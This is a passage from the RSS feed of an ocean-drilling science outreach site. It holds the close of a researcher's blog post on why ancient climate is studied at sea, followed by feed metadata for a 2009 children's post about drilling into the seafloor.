<p>So in a nutshell, we’re all out here to study what the ancient climate systems were like and we do this with the goal of learning enough about how the Earth’s climate works so that we can better predict future climate changes. And as you know, this is something that we ALL need to start thinking about. As I’m fond of tellilng my students… even if I dont know what the “right answer” is, I am certain that the more we know about the problem, the more likely we are to find the “right answer!” We are out here to learn more about the problem so we have a better shot at making the right decisions!</p>
<p>Ok… next time I’ll talk more about a typical day at sea. I’m often asked about what it’s like to be at sea for two months… what do you do for fun? I’ll tell you… next time. -Steve<br />
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<title>Drilling into the Seafloor — Just for Kids</title>
<link>https://joidesresolution.org/drilling-into-the-seafloor-just-for-kids/?utm_source=rss&utm_medium=rss&utm_campaign=drilling-into-the-seafloor-just-for-kids</link>
<comments>https://joidesresolution.org/drilling-into-the-seafloor-just-for-kids/#respond</comments>
<dc:creator><![CDATA[Becky Robinson]]></dc:creator>
<pubDate>Wed, 29 Apr 2009 21:33:11 +0000</pubDate>
<category><![CDATA[cores_119]]></category>
<category><![CDATA[drilling]]></category>
<category><![CDATA[sediment]]></category>
<guid isPermaLink="false">https://joidesresolution.org//drilling-into-the-seafloor-just-for-kids</guid>
<description><![CDATA[]]></description>
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